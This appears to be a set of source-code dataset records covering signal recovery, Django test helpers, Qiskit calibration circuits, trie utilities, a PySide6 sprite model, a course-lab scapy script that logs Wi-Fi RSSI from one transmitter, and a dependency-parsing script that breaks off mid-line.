np.maximum(np.sort(y)[::-1][2*len_non_zero_features], precision))\n T = np.union1d(Omega, a.nonzero()[0])\n # T = np.union1d(Omega, T)\n b = np.dot(np.linalg.pinv(transformation[:, T]), sdm_signal)\n igood = (abs(b) > np.sort(abs(b))[::-1][len_non_zero_features]) & (abs(b) > precision)\n T = T[igood]\n a[T] = b[igood]\n v = sdm_signal - np.dot(transformation[:, T], b[igood])\n\n halt = np.linalg.norm(v)/sdm_signal_norm < tol or iterations > max_iter\n\n # print(iterations, end=\" \")\n\n inds = np.abs(a).argsort()[-len_non_zero_features:][::-1]\n cs1_signal = np.zeros((transformation.shape[1],), dtype=np.int8)\n cs1_signal[inds] = 1\n return cs1_signal, iterations\n except Exception as error:\n # if callable(error_handler):\n # error_handler(\"err\", error)\n # else:\n # print(\"err\", error)\n cs1_signal = np.zeros((transformation.shape[1], ), dtype=np.int8)\n\n return cs1_signal, -1\n", "repo_name": "Rolandw0w/phd-sdm-cs", "sub_path": "py/restore_signal.py", "file_name": "restore_signal.py", "file_ext": "py", "file_size_in_byte": 7704, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "numpy.zeros", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 31, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 32, "usage_type": "call"}, {"api_name": "sklearn.linear_model.OrthogonalMatchingPursuit", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 43, "usage_type": "call"}, {"api_name": "scipy.optimize.optimize.linprog", "line_number": 45, "usage_type": "call"}, {"api_name": "scipy.optimize.optimize", "line_number": 45, "usage_type": "attribute"}, {"api_name": "scipy.optimize", "line_number": 45, "usage_type": "name"}, {"api_name": "numpy.ones", "line_number": 45, "usage_type": "call"}, {"api_name": "scipy.optimize.optimize.linprog", "line_number": 49, "usage_type": "call"}, {"api_name": "scipy.optimize.optimize", "line_number": 49, "usage_type": "attribute"}, {"api_name": "scipy.optimize", "line_number": 49, "usage_type": "name"}, {"api_name": "numpy.ones", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.int8", "line_number": 57, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.int8", "line_number": 64, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 17, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 78, "usage_type": "call"}, {"api_name": "numpy.int8", "line_number": 78, "usage_type": "attribute"}, {"api_name": "gurobipy.Model", "line_number": 80, "usage_type": "call"}, {"api_name": "gurobipy.GRB.BINARY", "line_number": 86, "usage_type": "attribute"}, {"api_name": "gurobipy.GRB", "line_number": 86, "usage_type": "name"}, {"api_name": "gurobipy.GRB.INTEGER", "line_number": 91, "usage_type": "attribute"}, {"api_name": "gurobipy.GRB", "line_number": 91, "usage_type": "name"}, {"api_name": "gurobipy.GRB.MINIMIZE", "line_number": 104, "usage_type": "attribute"}, {"api_name": "gurobipy.GRB", "line_number": 104, "usage_type": "name"}, {"api_name": "gurobipy.GRB.OPTIMAL", "line_number": 111, "usage_type": "attribute"}, {"api_name": "gurobipy.GRB", "line_number": 111, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 112, "usage_type": "call"}, {"api_name": "numpy.int8", "line_number": 112, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 126, "usage_type": "call"}, {"api_name": "numpy.int8", "line_number": 126, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 67, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 149, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 156, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 157, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 157, "usage_type": "attribute"}, {"api_name": "numpy.dot", "line_number": 162, "usage_type": "call"}, {"api_name": "numpy.flatnonzero", "line_number": 165, "usage_type": "call"}, {"api_name": "numpy.maximum", "line_number": 165, "usage_type": "call"}, {"api_name": "numpy.sort", "line_number": 165, "usage_type": "call"}, {"api_name": "numpy.union1d", "line_number": 166, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 168, "usage_type": "call"}, {"api_name": "numpy.linalg.pinv", "line_number": 168, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 168, "usage_type": "attribute"}, {"api_name": "numpy.sort", "line_number": 169, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 172, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 174, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 174, "usage_type": "attribute"}, {"api_name": "numpy.abs", "line_number": 178, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 179, "usage_type": "call"}, {"api_name": "numpy.int8", "line_number": 179, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 187, "usage_type": "call"}, {"api_name": "numpy.int8", "line_number": 187, "usage_type": "attribute"}]} {"seq_id": "27540421176", "text": "from xml.dom import minidom\n\nfrom django.contrib.sites.models import Site\nfrom django.core.cache import cache\nfrom django.test import RequestFactory, TestCase, TransactionTestCase\n\n\nclass FeedTestCase(TestCase):\n \"\"\"\n Borrowing some handy methods from\n https://github.com/django/django/blob/master/tests/syndication_tests/tests.py\n \"\"\"\n\n def setUp(self):\n super().setUp()\n # For some reason we need to set this or else, when we run\n # *all* the tests then the domain name is set to the same\n # as the Site object for the dev site in Docker. But not when\n # we only run the feed tests specifically. Weird.\n site = Site.objects.first()\n site.domain = \"example.com\"\n site.save()\n cache.clear()\n\n def get_feed_element(self, url):\n response = self.client.get(url)\n doc = minidom.parseString(response.content)\n\n feed_elem = doc.getElementsByTagName(\"rss\")\n self.assertEqual(len(feed_elem), 1)\n feed = feed_elem[0]\n\n return feed\n\n def get_channel_element(self, url):\n \"\"\"Handy method that returns the 'channel' tag from a feed at url.\n You can then get the items like:\n\n chan = self.get_channel_element('/blah/')\n items = chan.getElementsByTagName('item')\n \"\"\"\n feed = self.get_feed_element(url)\n\n chan_elem = feed.getElementsByTagName(\"channel\")\n self.assertEqual(len(chan_elem), 1)\n chan = chan_elem[0]\n\n return chan\n\n def assertChildNodes(self, elem, expected):\n actual = {n.nodeName for n in elem.childNodes}\n expected = set(expected)\n self.assertEqual(actual, expected)\n\n def assertChildNodeContent(self, elem, expected):\n for k, v in expected.items():\n # It appears that minidom will make a node with no text\n # None, rather than an element. So when we try to get its\n # wholeText, we get an AttributeError.\n # So here we try to work around that...\n first_child = elem.getElementsByTagName(k)[0].firstChild\n try:\n test_value = first_child.wholeText\n except AttributeError:\n test_value = \"\"\n\n try:\n self.assertEqual(test_value, v)\n except IndexError as e:\n raise IndexError(\"{} for '{}' and '{}'\".format(e, k, v))\n\n def assertCategories(self, elem, expected):\n self.assertEqual(\n {\n i.firstChild.wholeText\n for i in elem.childNodes\n if i.nodeName == \"category\"\n },\n set(expected),\n )\n\n\nclass ViewTestCase(TestCase):\n \"\"\"\n Parent class to use with all the other view test cases.\n \"\"\"\n\n def setUp(self):\n self.factory = RequestFactory()\n # We use '/fake-path/' for all tests because not testing URLs here,\n # and the views don't care what the URL is.\n self.request = self.factory.get(\"/fake-path/\")\n\n\nclass ViewTransactionTestCase(TransactionTestCase):\n \"\"\"\n Same as ViewTestCase but with a different parent.\n\n Need to use TransactionTestCase for the SearchView tests because setting the\n search_vectors on objects requires transaction.on_commit() to work, which it\n doesn't with the standard TestCase.\n \"\"\"\n\n def setUp(self):\n self.factory = RequestFactory()\n self.request = self.factory.get(\"/fake-path/\")\n", "repo_name": "philgyford/pepysdiary", "sub_path": "tests/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 3471, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 14, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.test.TestCase", "line_number": 8, "usage_type": "name"}, {"api_name": "django.contrib.sites.models.Site.objects.first", "line_number": 20, "usage_type": "call"}, {"api_name": "django.contrib.sites.models.Site.objects", "line_number": 20, "usage_type": "attribute"}, {"api_name": "django.contrib.sites.models.Site", "line_number": 20, "usage_type": "name"}, {"api_name": "django.core.cache.cache.clear", "line_number": 23, "usage_type": "call"}, {"api_name": "django.core.cache.cache", "line_number": 23, "usage_type": "name"}, {"api_name": "xml.dom.minidom.parseString", "line_number": 27, "usage_type": "call"}, {"api_name": "xml.dom.minidom", "line_number": 27, "usage_type": "name"}, {"api_name": "django.test.TestCase", "line_number": 83, "usage_type": "name"}, {"api_name": "django.test.RequestFactory", "line_number": 89, "usage_type": "call"}, {"api_name": "django.test.TransactionTestCase", "line_number": 95, "usage_type": "name"}, {"api_name": "django.test.RequestFactory", "line_number": 105, "usage_type": "call"}]} {"seq_id": "26651946387", "text": "import os\nimport sys\n\nfrom qiskit import QuantumCircuit, QuantumRegister, ClassicalRegister\n\ncurrent_dir = os.path.dirname(os.path.realpath(__file__))\nparent_dir = os.path.dirname(current_dir)\nsys.path.append(parent_dir)\n\nfrom methods import test_locally, add_measure_in_base\n\n\ndef get_n2_calibration_circuits():\n qr2 = QuantumRegister(2)\n cr2 = ClassicalRegister(2)\n\n calibration_base = 'ZZ'\n\n # 00 State\n c1 = QuantumCircuit(qr2, cr2)\n c1.name = \"Calibration_00\"\n\n # 01 B State\n c3 = QuantumCircuit(qr2, cr2)\n c3.x(qr2[0])\n c3.barrier()\n c3.name = \"Calibration_01\"\n\n # 10 B State\n c4 = QuantumCircuit(qr2, cr2)\n c4.x(qr2[1])\n c4.barrier()\n c4.name = \"Calibration_10\"\n\n # 11 B State\n c2 = QuantumCircuit(qr2, cr2)\n c2.x(qr2[0])\n c2.x(qr2[1])\n c2.barrier()\n c2.name = \"Calibration_11\"\n\n circuits_n2 = [c1, c3, c4, c2]\n calibration_circuits = []\n\n for c in circuits_n2:\n calibration_circuits.append(add_measure_in_base(c.copy(), calibration_base))\n\n return calibration_circuits\n\n\ndef get_n3_calibration_circuits():\n qr3 = QuantumRegister(3)\n cr3 = ClassicalRegister(3)\n\n calibration_base = 'ZZZ'\n\n c0 = QuantumCircuit(qr3, cr3)\n c0.name = \"Calibration_000\"\n\n c1 = QuantumCircuit(qr3, cr3)\n c1.x(qr3[0])\n c1.barrier()\n c1.name = \"Calibration_001\"\n\n c2 = QuantumCircuit(qr3, cr3)\n c2.x(qr3[1])\n c2.barrier()\n c2.name = \"Calibration_010\"\n\n c3 = QuantumCircuit(qr3, cr3)\n c3.x(qr3[0])\n c3.x(qr3[1])\n c3.barrier()\n c3.name = \"Calibration_011\"\n\n c4 = QuantumCircuit(qr3, cr3)\n c4.x(qr3[2])\n c4.barrier()\n c4.name = \"Calibration_100\"\n\n c5 = QuantumCircuit(qr3, cr3)\n c5.x(qr3[0])\n c5.x(qr3[2])\n c5.barrier()\n c5.name = \"Calibration_101\"\n\n c6 = QuantumCircuit(qr3, cr3)\n c6.x(qr3[1])\n c6.x(qr3[2])\n c6.barrier()\n c6.name = \"Calibration_110\"\n\n c7 = QuantumCircuit(qr3, cr3)\n c7.x(qr3[0])\n c7.x(qr3[1])\n c7.x(qr3[2])\n c7.barrier()\n c7.name = \"Calibration_111\"\n\n circuits_n3 = [c0, c1, c2, c3, c4, c5, c6, c7]\n\n calibration_circuits = []\n\n for c in circuits_n3:\n calibration_circuits.append(add_measure_in_base(c.copy(), calibration_base))\n\n return calibration_circuits\n\n\ndef get_sc_n2_circuits():\n qr2 = QuantumRegister(2)\n cr2 = ClassicalRegister(2)\n\n bases_n2 = ['XX', 'YY', 'YX', 'XY']\n\n # 00 State\n c1 = QuantumCircuit(qr2, cr2)\n c1.name = \"SC_00\"\n\n # 11 B State\n c2 = QuantumCircuit(qr2, cr2)\n c2.x(qr2[0])\n c2.x(qr2[1])\n c2.barrier()\n c2.name = \"SC_11_B\"\n\n circuits_n2 = [c1, c2]\n\n sc_n2_circuits = []\n\n for c in circuits_n2:\n for b in bases_n2:\n sc_n2_circuits.append(add_measure_in_base(c.copy(), b))\n\n return sc_n2_circuits\n\n\ndef get_sc_n3_circuits():\n qr3 = QuantumRegister(3)\n cr3 = ClassicalRegister(3)\n\n # bases_n3 = ['XXX', 'YYX', 'YXY', 'XYY', 'ZZX', 'ZXZ', 'XZZ']\n bases_n3 = ['XXX', 'YYX', 'YXY', 'XYY']\n\n c3 = QuantumCircuit(qr3, cr3)\n c3.name = \"SC_000\"\n\n c4 = QuantumCircuit(qr3, cr3)\n c4.x(qr3[0])\n c4.x(qr3[1])\n c4.x(qr3[2])\n c4.barrier()\n c4.name = \"SC_111_B\"\n\n circuits_n3 = [c3, c4]\n\n sc_n3_circuits = []\n\n for c in circuits_n3:\n for b in bases_n3:\n sc_n3_circuits.append(add_measure_in_base(c.copy(), b))\n\n return sc_n3_circuits\n\n\n# test_locally(SC_Circuits, use_mapping=True, save_to_file=True, number_of_simulations=100)\n# test_locally_with_noise(SC_Circuits)\ntest_locally(get_sc_n3_circuits())\n", "repo_name": "Tomev/QEL", "sub_path": "SanityCheck/SanityCheck.py", "file_name": "SanityCheck.py", "file_ext": "py", "file_size_in_byte": 3562, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.path.dirname", "line_number": 6, "usage_type": "call"}, {"api_name": "os.path", "line_number": 6, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 6, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 7, "usage_type": "call"}, {"api_name": "os.path", "line_number": 7, "usage_type": "attribute"}, {"api_name": "sys.path.append", "line_number": 8, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 8, "usage_type": "attribute"}, {"api_name": "qiskit.QuantumRegister", "line_number": 14, "usage_type": "call"}, {"api_name": "qiskit.ClassicalRegister", "line_number": 15, "usage_type": "call"}, {"api_name": "qiskit.QuantumCircuit", "line_number": 20, "usage_type": "call"}, {"api_name": "qiskit.QuantumCircuit", "line_number": 24, "usage_type": "call"}, {"api_name": "qiskit.QuantumCircuit", "line_number": 30, "usage_type": "call"}, {"api_name": "qiskit.QuantumCircuit", "line_number": 36, "usage_type": "call"}, {"api_name": "methods.add_measure_in_base", "line_number": 46, "usage_type": "call"}, {"api_name": "qiskit.QuantumRegister", "line_number": 52, "usage_type": "call"}, {"api_name": "qiskit.ClassicalRegister", "line_number": 53, "usage_type": "call"}, {"api_name": "qiskit.QuantumCircuit", "line_number": 57, "usage_type": "call"}, {"api_name": "qiskit.QuantumCircuit", "line_number": 60, "usage_type": "call"}, {"api_name": "qiskit.QuantumCircuit", "line_number": 65, "usage_type": "call"}, {"api_name": "qiskit.QuantumCircuit", "line_number": 70, "usage_type": "call"}, {"api_name": "qiskit.QuantumCircuit", "line_number": 76, "usage_type": "call"}, {"api_name": "qiskit.QuantumCircuit", "line_number": 81, "usage_type": "call"}, {"api_name": "qiskit.QuantumCircuit", "line_number": 87, "usage_type": "call"}, {"api_name": "qiskit.QuantumCircuit", "line_number": 93, "usage_type": "call"}, {"api_name": "methods.add_measure_in_base", "line_number": 105, "usage_type": "call"}, {"api_name": "qiskit.QuantumRegister", "line_number": 111, "usage_type": "call"}, {"api_name": "qiskit.ClassicalRegister", "line_number": 112, "usage_type": "call"}, {"api_name": "qiskit.QuantumCircuit", "line_number": 117, "usage_type": "call"}, {"api_name": "qiskit.QuantumCircuit", "line_number": 121, "usage_type": "call"}, {"api_name": "methods.add_measure_in_base", "line_number": 133, "usage_type": "call"}, {"api_name": "qiskit.QuantumRegister", "line_number": 139, "usage_type": "call"}, {"api_name": "qiskit.ClassicalRegister", "line_number": 140, "usage_type": "call"}, {"api_name": "qiskit.QuantumCircuit", "line_number": 145, "usage_type": "call"}, {"api_name": "qiskit.QuantumCircuit", "line_number": 148, "usage_type": "call"}, {"api_name": "methods.add_measure_in_base", "line_number": 161, "usage_type": "call"}, {"api_name": "methods.test_locally", "line_number": 168, "usage_type": "call"}]} {"seq_id": "33060882216", "text": "import ahocorasick\nfrom .string_utils import is_whole_word\n\n\ndef build_trie_from_dict(str2value, to_lower=False):\n trie = ahocorasick.Automaton()\n for k, v in str2value.items():\n if to_lower:\n k = k.lower()\n trie.add_word(k, (k, v))\n trie.make_automaton()\n return trie\n\n\ndef get_values_by_prefix(trie, prefix):\n kvs = trie.values(prefix, '?', ahocorasick.MATCH_AT_LEAST_PREFIX)\n return [v for k, v in kvs]\n\n\ndef get_value_by_key(trie, key, default=None):\n k, v = trie.get(key, (key, default))\n return v\n\n\ndef iter_forms(trie, s, match_lower=False, whole_word=False, return_lower=False):\n if not trie or not s:\n return\n if match_lower:\n s_lower = s.lower()\n it = trie.iter(s_lower)\n else:\n it = trie.iter(s)\n for end, (k, v) in it:\n end = end + 1\n start = end - len(k)\n if whole_word and not is_whole_word(s, start, end):\n continue\n form = s[start: end]\n if return_lower:\n form = form.lower()\n yield form, start, end\n", "repo_name": "ytdu/python-pytest-action", "sub_path": "app/common/string/trie_utils.py", "file_name": "trie_utils.py", "file_ext": "py", "file_size_in_byte": 1069, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "ahocorasick.Automaton", "line_number": 6, "usage_type": "call"}, {"api_name": "ahocorasick.MATCH_AT_LEAST_PREFIX", "line_number": 16, "usage_type": "attribute"}, {"api_name": "string_utils.is_whole_word", "line_number": 36, "usage_type": "call"}]} {"seq_id": "19094620101", "text": "from typing import Callable, Match\n\nimport re\n\nfrom ._emoji_codes import EMOJI\n\n\n_ReStringMatch = Match[str] # regex match object\n_ReSubCallable = Callable[[_ReStringMatch], str] # Callable invoked by re.sub\n_EmojiSubMethod = Callable[[_ReSubCallable, str], str] # Sub method of a compiled re\n\n\ndef _emoji_replace(\n text: str, _emoji_sub: _EmojiSubMethod = re.compile(r\"(:(\\S*?):)\").sub\n) -> str:\n \"\"\"Replace emoji code in text.\"\"\"\n get_emoji = EMOJI.get\n\n def do_replace(match: Match[str]) -> str:\n \"\"\"Called by re.sub to do the replacement.\"\"\"\n emoji_code, emoji_name = match.groups()\n return get_emoji(emoji_name.lower(), emoji_code)\n\n return _emoji_sub(do_replace, text)\n", "repo_name": "deroux/longitudinal-analysis-cowrie", "sub_path": "cowralyze/venv/lib/python3.9/site-packages/rich/_emoji_replace.py", "file_name": "_emoji_replace.py", "file_ext": "py", "file_size_in_byte": 714, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 14, "dataset": "github-code", "pt": "78", "api": [{"api_name": "typing.Match", "line_number": 8, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 9, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 10, "usage_type": "name"}, {"api_name": "re.compile", "line_number": 14, "usage_type": "call"}, {"api_name": "_emoji_codes.EMOJI.get", "line_number": 17, "usage_type": "attribute"}, {"api_name": "_emoji_codes.EMOJI", "line_number": 17, "usage_type": "name"}, {"api_name": "typing.Match", "line_number": 19, "usage_type": "name"}]} {"seq_id": "32356564762", "text": "from PySide6 import QtCore, QtWidgets, QtGui\nfrom formats.graphics.ani import AniSprite, Animation, AnimationFrame\nfrom typing import List, Callable\n\n\nclass FramesModel(QtCore.QAbstractListModel):\n def __init__(self, update_frame_next: Callable):\n super(FramesModel, self).__init__()\n self.sprite: AniSprite = None\n self.animation: Animation = None\n self.update_frame_next = update_frame_next\n\n def set_animation(self, sprite: AniSprite, anim_index: int):\n self.layoutAboutToBeChanged.emit()\n self.sprite = sprite\n self.animation = self.sprite.animations[anim_index]\n self.layoutChanged.emit()\n\n def rowCount(self, parent: QtCore.QModelIndex) -> int:\n return len(self.animation.frames)\n\n def data(self, index: QtCore.QModelIndex, role: int):\n if not index.isValid():\n return None\n frame_idx = index.row()\n if frame_idx >= len(self.animation.frames):\n return None\n if role == QtCore.Qt.ItemDataRole.DisplayRole or role == QtCore.Qt.ItemDataRole.EditRole:\n return frame_idx\n if role == QtCore.Qt.ItemDataRole.DecorationRole:\n frame = self.animation.frames[frame_idx]\n return QtGui.QIcon(self.sprite.extract_image_qt(frame.image_index))\n return None\n\n def flags(self, index: QtCore.QModelIndex) -> QtCore.Qt.ItemFlag:\n default_flags = super(FramesModel, self).flags(index)\n if not index.isValid():\n return default_flags | QtCore.Qt.ItemFlag.ItemIsDropEnabled\n return default_flags | QtCore.Qt.ItemFlag.ItemIsDragEnabled\n\n def supportedDropActions(self) -> QtCore.Qt.DropAction:\n return QtCore.Qt.DropAction.MoveAction\n\n def mimeData(self, indexes: List[QtCore.QModelIndex]) -> QtCore.QMimeData:\n mime_data = super().mimeData(indexes)\n if not indexes:\n return mime_data\n index = indexes[0].row()\n mime_data.setText(str(index))\n return mime_data\n\n def dropMimeData(self, data: QtCore.QMimeData, action: QtCore.Qt.DropAction, row: int, column: int,\n parent: QtCore.QModelIndex) -> bool:\n if row == -1:\n return False\n src_row = int(data.text())\n if src_row < row:\n row -= 1\n if src_row == row:\n return False\n frame = self.animation.frames[src_row]\n self.animation.frames.pop(src_row)\n self.animation.frames.insert(row, frame)\n self.update_frame_next()\n return True\n\n def append_frame(self):\n self.beginInsertRows(QtCore.QModelIndex(), len(self.animation.frames),\n len(self.animation.frames))\n self.animation.frames.append(AnimationFrame(next_frame_index=0, image_index=0, duration=0))\n self.update_frame_next()\n self.endInsertRows()\n\n def remove_frame(self, index: QtCore.QModelIndex):\n self.beginRemoveRows(QtCore.QModelIndex(), index.row(), index.row())\n self.animation.frames.pop(index.row())\n self.update_frame_next()\n self.endInsertRows()\n", "repo_name": "C3RV1/LaytonEditor", "sub_path": "gui/editors/sprite/SpriteFramesModel.py", "file_name": "SpriteFramesModel.py", "file_ext": "py", "file_size_in_byte": 3112, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 18, "dataset": "github-code", "pt": "78", "api": [{"api_name": "PySide6.QtCore.QAbstractListModel", "line_number": 6, "usage_type": "attribute"}, {"api_name": "PySide6.QtCore", "line_number": 6, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 7, "usage_type": "name"}, {"api_name": "formats.graphics.ani.AniSprite", "line_number": 9, "usage_type": "name"}, {"api_name": "formats.graphics.ani.Animation", "line_number": 10, "usage_type": "name"}, {"api_name": "formats.graphics.ani.AniSprite", "line_number": 13, "usage_type": "name"}, {"api_name": "PySide6.QtCore.QModelIndex", "line_number": 19, "usage_type": "attribute"}, {"api_name": "PySide6.QtCore", "line_number": 19, "usage_type": "name"}, {"api_name": "PySide6.QtCore.QModelIndex", "line_number": 22, "usage_type": "attribute"}, {"api_name": "PySide6.QtCore", "line_number": 22, "usage_type": "name"}, {"api_name": "PySide6.QtCore.Qt", "line_number": 28, "usage_type": "attribute"}, {"api_name": "PySide6.QtCore", "line_number": 28, "usage_type": "name"}, {"api_name": "PySide6.QtCore.Qt", "line_number": 30, "usage_type": "attribute"}, {"api_name": "PySide6.QtCore", "line_number": 30, "usage_type": "name"}, {"api_name": "PySide6.QtGui.QIcon", "line_number": 32, "usage_type": "call"}, {"api_name": "PySide6.QtGui", "line_number": 32, "usage_type": "name"}, {"api_name": "PySide6.QtCore.QModelIndex", "line_number": 35, "usage_type": "attribute"}, {"api_name": "PySide6.QtCore", "line_number": 35, "usage_type": "name"}, {"api_name": "PySide6.QtCore.Qt", "line_number": 38, "usage_type": "attribute"}, {"api_name": "PySide6.QtCore", "line_number": 38, "usage_type": "name"}, {"api_name": "PySide6.QtCore.Qt", "line_number": 39, "usage_type": "attribute"}, {"api_name": "PySide6.QtCore", "line_number": 39, "usage_type": "name"}, {"api_name": "PySide6.QtCore.Qt", "line_number": 35, "usage_type": "attribute"}, {"api_name": "PySide6.QtCore.Qt", "line_number": 42, "usage_type": "attribute"}, {"api_name": "PySide6.QtCore", "line_number": 42, "usage_type": "name"}, {"api_name": "PySide6.QtCore.Qt", "line_number": 41, "usage_type": "attribute"}, {"api_name": "PySide6.QtCore", "line_number": 41, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 44, "usage_type": "name"}, {"api_name": "PySide6.QtCore.QModelIndex", "line_number": 44, "usage_type": "attribute"}, {"api_name": "PySide6.QtCore", "line_number": 44, "usage_type": "name"}, {"api_name": "PySide6.QtCore.QMimeData", "line_number": 44, "usage_type": "attribute"}, {"api_name": "PySide6.QtCore.QMimeData", "line_number": 52, "usage_type": "attribute"}, {"api_name": "PySide6.QtCore", "line_number": 52, "usage_type": "name"}, {"api_name": "PySide6.QtCore.Qt", "line_number": 52, "usage_type": "attribute"}, {"api_name": "PySide6.QtCore.QModelIndex", "line_number": 53, "usage_type": "attribute"}, {"api_name": "PySide6.QtCore", "line_number": 53, "usage_type": "name"}, {"api_name": "PySide6.QtCore.QModelIndex", "line_number": 68, "usage_type": "call"}, {"api_name": "PySide6.QtCore", "line_number": 68, "usage_type": "name"}, {"api_name": "formats.graphics.ani.AnimationFrame", "line_number": 70, "usage_type": "call"}, {"api_name": "PySide6.QtCore.QModelIndex", "line_number": 74, "usage_type": "attribute"}, {"api_name": "PySide6.QtCore", "line_number": 74, "usage_type": "name"}, {"api_name": "PySide6.QtCore.QModelIndex", "line_number": 75, "usage_type": "call"}, {"api_name": "PySide6.QtCore", "line_number": 75, "usage_type": "name"}]} {"seq_id": "6955502834", "text": "import csv\r\nfrom datetime import datetime\r\nfrom scapy.all import *\r\nimport time\r\n\r\n\"\"\"\r\nRun monitor_mode.sh first to set up the network adapter to monitor mode and to\r\nset the interface to the right channel.\r\nTo get RSSI values, we need the MAC Address of the connection \r\nof the device sending the packets.\r\n\"\"\"\r\n\r\n# Variables to be modified\r\ndev_mac = \"\" # Assigned transmitter MAC\r\niface_n = \"wlan1\" # Interface for network adapter\r\nduration = 30 # Number of seconds to sniff for\r\nfile_name = \"rssi.csv\" # Name of CSV file where RSSI values are stored\r\n\r\n\r\ndef create_rssi_file():\r\n \"\"\"Create and prepare a file for RSSI values\"\"\"\r\n header = [\"date\", \"time\", \"dest\", \"src\", \"rssi\"]\r\n with open(file_name, \"w\", encoding=\"UTF8\") as f:\r\n writer = csv.writer(f)\r\n writer.writerow(header)\r\n\r\n\r\ndef captured_packet_callback(pkt):\r\n \"\"\"Save MAC addresses, time, and RSSI values to CSV file if MAC address of src matches\"\"\"\r\n missed_count = 0 # Number of missed packets while attempting to write to file\r\n\r\n cur_dict = {}\r\n try:\r\n cur_dict[\"mac_1\"] = pkt.addr1\r\n cur_dict[\"mac_2\"] = pkt.addr2\r\n cur_dict[\"rssi\"] = pkt.dBm_AntSignal\r\n except AttributeError:\r\n return # Packet formatting error\r\n\r\n date_time = datetime.now().strftime(\"%d/%m/%Y,%H:%M:%S.%f\").split(\",\") #Get current date and time\r\n date = date_time[0]\r\n time = date_time[1]\r\n\r\n ################### Your code here ###################\r\n\r\n # Only write the RSSI values of packets that are coming from your assigned transmitter (hint: filter by pkt.addr2, the destination MAC field)\r\n # Use the 'writerow' method to write the RSSI value and the current timestamp to the CSV file\r\n\r\n ######################################################\r\n target_mac = \"e4:5f:01:d4:9d:2f\"\r\n if pkt.haslayer(Dot11) and cur_dict[\"mac_2\"]==target_mac:\r\n with open(file_name, mode = \"a\", newline='') as csv_file:\r\n csv_writer = csv.writer(csv_file)\r\n #csv_write.writerow(['Time', 'RSSI'])\r\n # rssi = packet.dBm_AntSignal if hasattr(pkt, 'dBm_AntSignal') else None\r\n csv_writer.writerow([date, time, cur_dict['mac_1'], cur_dict['mac_2'],cur_dict['rssi']])\r\n\r\n\r\n \r\n\r\n\r\nif __name__ == \"__main__\":\r\n create_rssi_file()\r\n\r\n t = AsyncSniffer(iface=iface_n, prn=captured_packet_callback, store=0)\r\n t.daemon = True\r\n t.start()\r\n \r\n start_date_time = datetime.now().strftime(\"%d/%m/%Y,%H:%M:%S.%f\") #Get current date and time\r\n\r\n time.sleep(duration)\r\n t.stop()\r\n\r\n print(\"Start Time: \", start_date_time)\r\n", "repo_name": "xiongdawei/CS437", "sub_path": "lab3/checkpoints/collect_rssi.py", "file_name": "collect_rssi.py", "file_ext": "py", "file_size_in_byte": 2616, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "csv.writer", "line_number": 24, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 40, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 40, "usage_type": "name"}, {"api_name": "csv.writer", "line_number": 53, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 69, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 69, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 71, "usage_type": "call"}]} {"seq_id": "71981870332", "text": "#!/usr/bin/env python3\nimport argparse\nfrom typing import List, Any\nfrom conllu import parse\nfrom conllu.models import Token\nfrom diaparser.utils import Dataset\nfrom diaparser.parsers import Parser\n\n\ndef main(target_sentence: str, language: str) -> None:\n if not target_sentence:\n return\n\n model_name: str = 'ja_gsd.mbert' if language == 'ja' else 'en_ewt-electra'\n parser: Parser = Parser.load(model_name)\n dataset: Dataset = parser.predict(target_sentence, text=language)\n sentences: List[Any] = parse(str(dataset.sentences[0]))\n sentence: List[Token] = sentences[0]\n\n id_token_map: Map[int, Token] = {}\n for token in sentence:\n token: Token\n cur_token_id: int = int(token['id'])\n id_token_map[cur_token_id] = 